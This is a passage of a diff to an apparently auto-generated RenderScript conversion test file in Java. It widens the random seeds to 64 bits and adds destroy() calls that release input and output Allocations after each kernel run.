             verifyResultsConvertHalf3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Half3Uint3: " + e.toString());
         }
@@ -22807,9 +23790,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Half3Uint3(inV, out);
             verifyResultsConvertHalf3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Half3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -22864,11 +23849,12 @@
     }
 
     private void checkConvertHalf4Uint4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xcd5555c9l, 0.0000000000000000000e+00, 4.2928701440000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5613cf15cd5555c9l, 0.0000000000000000000e+00, 4.2928701440000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Half4Uint4(inV, out);
             verifyResultsConvertHalf4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Half4Uint4: " + e.toString());
         }
@@ -22876,9 +23862,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Half4Uint4(inV, out);
             verifyResultsConvertHalf4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Half4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -22939,11 +23927,12 @@
     }
 
     private void checkConvertHalf2Long2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4a740c9fl, -9.2188684372274053120e+18, 9.2188684372274053120e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5613b7a24a740c9fl, -9.2188684372274053120e+18, 9.2188684372274053120e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertLong2Half2Long2(inV, out);
             verifyResultsConvertHalf2Long2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Half2Long2: " + e.toString());
         }
@@ -22951,9 +23940,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong2Half2Long2(inV, out);
             verifyResultsConvertHalf2Long2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong2Half2Long2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Long2(Allocation inV, Allocation out, boolean relaxed) {
@@ -23008,11 +23999,12 @@
     }
 
     private void checkConvertHalf3Long3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xa97bd193l, -9.2188684372274053120e+18, 9.2188684372274053120e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5613c243a97bd193l, -9.2188684372274053120e+18, 9.2188684372274053120e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertLong3Half3Long3(inV, out);
             verifyResultsConvertHalf3Long3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Half3Long3: " + e.toString());
         }
@@ -23020,9 +24012,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong3Half3Long3(inV, out);
             verifyResultsConvertHalf3Long3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong3Half3Long3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Long3(Allocation inV, Allocation out, boolean relaxed) {
@@ -23077,11 +24071,12 @@
     }
 
     private void checkConvertHalf4Long4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x8839687l, -9.2188684372274053120e+18, 9.2188684372274053120e+18);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5613cce508839687l, -9.2188684372274053120e+18, 9.2188684372274053120e+18);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertLong4Half4Long4(inV, out);
             verifyResultsConvertHalf4Long4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Half4Long4: " + e.toString());
         }
@@ -23089,9 +24084,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertLong4Half4Long4(inV, out);
             verifyResultsConvertHalf4Long4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertLong4Half4Long4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Long4(Allocation inV, Allocation out, boolean relaxed) {
@@ -23152,11 +24149,12 @@
     }
 
     private void checkConvertHalf2Ulong2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbc6d1b0cl, 0.0000000000000000000e+00, 1.8437736874454810624e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x75503732bc6d1b0cl, 0.0000000000000000000e+00, 1.8437736874454810624e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             script.forEach_testConvertUlong2Half2Ulong2(inV, out);
             verifyResultsConvertHalf2Ulong2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Half2Ulong2: " + e.toString());
         }
@@ -23164,9 +24162,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong2Half2Ulong2(inV, out);
             verifyResultsConvertHalf2Ulong2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong2Half2Ulong2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf2Ulong2(Allocation inV, Allocation out, boolean relaxed) {
@@ -23221,11 +24221,12 @@
     }
 
     private void checkConvertHalf3Ulong3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb2883beal, 0.0000000000000000000e+00, 1.8437736874454810624e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7552004db2883beal, 0.0000000000000000000e+00, 1.8437736874454810624e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             script.forEach_testConvertUlong3Half3Ulong3(inV, out);
             verifyResultsConvertHalf3Ulong3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Half3Ulong3: " + e.toString());
         }
@@ -23233,9 +24234,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong3Half3Ulong3(inV, out);
             verifyResultsConvertHalf3Ulong3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong3Half3Ulong3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf3Ulong3(Allocation inV, Allocation out, boolean relaxed) {
@@ -23290,11 +24293,12 @@
     }
 
     private void checkConvertHalf4Ulong4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xa8a35cc8l, 0.0000000000000000000e+00, 1.8437736874454810624e+19);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7553c968a8a35cc8l, 0.0000000000000000000e+00, 1.8437736874454810624e+19);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             script.forEach_testConvertUlong4Half4Ulong4(inV, out);
             verifyResultsConvertHalf4Ulong4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Half4Ulong4: " + e.toString());
         }
@@ -23302,9 +24306,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_64, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUlong4Half4Ulong4(inV, out);
             verifyResultsConvertHalf4Ulong4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUlong4Half4Ulong4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertHalf4Ulong4(Allocation inV, Allocation out, boolean relaxed) {
@@ -23364,11 +24370,12 @@
     }
 
     private void checkConvertFloat2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xaa314c6fl, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x239cb38aaa314c6fl, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Float2Half2(inV, out);
             verifyResultsConvertFloat2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Float2Half2: " + e.toString());
         }
@@ -23376,9 +24383,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Float2Half2(inV, out);
             verifyResultsConvertFloat2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Float2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -23436,11 +24445,12 @@
     }
 
     private void checkConvertFloat3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9391163l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x239cbe2c09391163l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Float3Half3(inV, out);
             verifyResultsConvertFloat3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Float3Half3: " + e.toString());
         }
@@ -23448,9 +24458,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Float3Half3(inV, out);
             verifyResultsConvertFloat3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Float3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -23508,11 +24520,12 @@
     }
 
     private void checkConvertFloat4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6840d657l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x239cc8cd6840d657l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Float4Half4(inV, out);
             verifyResultsConvertFloat4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Float4Half4: " + e.toString());
         }
@@ -23520,9 +24533,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Float4Half4(inV, out);
             verifyResultsConvertFloat4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Float4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -23585,11 +24600,12 @@
     }
 
     private void checkConvertDouble2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x6fc20024l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xcbf84cae6fc20024l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Double2Half2(inV, out);
             verifyResultsConvertDouble2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Double2Half2: " + e.toString());
         }
@@ -23597,9 +24613,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Double2Half2(inV, out);
             verifyResultsConvertDouble2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Double2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -23657,11 +24675,12 @@
     }
 
     private void checkConvertDouble3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xcec9c518l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xcbf8574fcec9c518l, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Double3Half3(inV, out);
             verifyResultsConvertDouble3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Double3Half3: " + e.toString());
         }
@@ -23669,9 +24688,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Double3Half3(inV, out);
             verifyResultsConvertDouble3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Double3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -23729,11 +24750,12 @@
     }
 
     private void checkConvertDouble4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x2dd18a0cl, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xcbf861f12dd18a0cl, -3.1129599999999998545e+04, 3.1129599999999998545e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Double4Half4(inV, out);
             verifyResultsConvertDouble4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Double4Half4: " + e.toString());
         }
@@ -23741,9 +24763,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Double4Half4(inV, out);
             verifyResultsConvertDouble4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Double4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -23806,11 +24830,12 @@
     }
 
     private void checkConvertChar2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0x55c123afl, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd86188aa55c123afl, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Char2Half2(inV, out);
             verifyResultsConvertChar2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Char2Half2: " + e.toString());
         }
@@ -23818,9 +24843,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Char2Half2(inV, out);
             verifyResultsConvertChar2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Char2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -23878,11 +24905,12 @@
     }
 
     private void checkConvertChar3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xb4c8e8a3l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xd861934bb4c8e8a3l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Char3Half3(inV, out);
             verifyResultsConvertChar3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Char3Half3: " + e.toString());
         }
@@ -23890,9 +24918,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Char3Half3(inV, out);
             verifyResultsConvertChar3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Char3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -23950,11 +24980,12 @@
     }
 
     private void checkConvertChar4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x13d0ad97l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd8619ded13d0ad97l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Char4Half4(inV, out);
             verifyResultsConvertChar4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Char4Half4: " + e.toString());
         }
@@ -23962,9 +24993,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Char4Half4(inV, out);
             verifyResultsConvertChar4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Char4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -24027,11 +25060,12 @@
     }
 
     private void checkConvertUchar2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xe8433030l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7fef41f7e8433030l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Uchar2Half2(inV, out);
             verifyResultsConvertUchar2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Uchar2Half2: " + e.toString());
         }
@@ -24039,9 +25073,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Uchar2Half2(inV, out);
             verifyResultsConvertUchar2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Uchar2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -24099,11 +25135,12 @@
     }
 
     private void checkConvertUchar3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x474af524l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7fef4c99474af524l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Uchar3Half3(inV, out);
             verifyResultsConvertUchar3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Uchar3Half3: " + e.toString());
         }
@@ -24111,9 +25148,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Uchar3Half3(inV, out);
             verifyResultsConvertUchar3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Uchar3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -24171,11 +25210,12 @@
     }
 
     private void checkConvertUchar4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xa652ba18l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7fef573aa652ba18l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Uchar4Half4(inV, out);
             verifyResultsConvertUchar4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Uchar4Half4: " + e.toString());
         }
@@ -24183,9 +25223,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Uchar4Half4(inV, out);
             verifyResultsConvertUchar4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Uchar4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -24248,11 +25290,12 @@
     }
 
     private void checkConvertShort2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x967ebe73l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x68ab6634967ebe73l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testConvertHalf2Short2Half2(inV, out);
             verifyResultsConvertShort2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Short2Half2: " + e.toString());
         }
@@ -24260,9 +25303,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf2Short2Half2(inV, out);
             verifyResultsConvertShort2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf2Short2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -24320,11 +25365,12 @@
     }
 
     private void checkConvertShort3Half3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xf5868367l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x68ab70d5f5868367l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testConvertHalf3Short3Half3(inV, out);
             verifyResultsConvertShort3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Short3Half3: " + e.toString());
         }
@@ -24332,9 +25378,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf3Short3Half3(inV, out);
             verifyResultsConvertShort3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf3Short3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -24392,11 +25440,12 @@
     }
 
     private void checkConvertShort4Half4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x548e485bl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x68ab7b77548e485bl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testConvertHalf4Short4Half4(inV, out);
             verifyResultsConvertShort4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Short4Half4: " + e.toString());
         }
@@ -24404,9 +25453,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertHalf4Short4Half4(inV, out);
             verifyResultsConvertShort4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertHalf4Short4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Half4(Allocation inV, Allocation out, boolean relaxed) {
@@ -24469,11 +25520,12 @@
     }
 
     private void checkConvertUshort2Half2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x3256d81el, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x8d79863c3256d81el, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
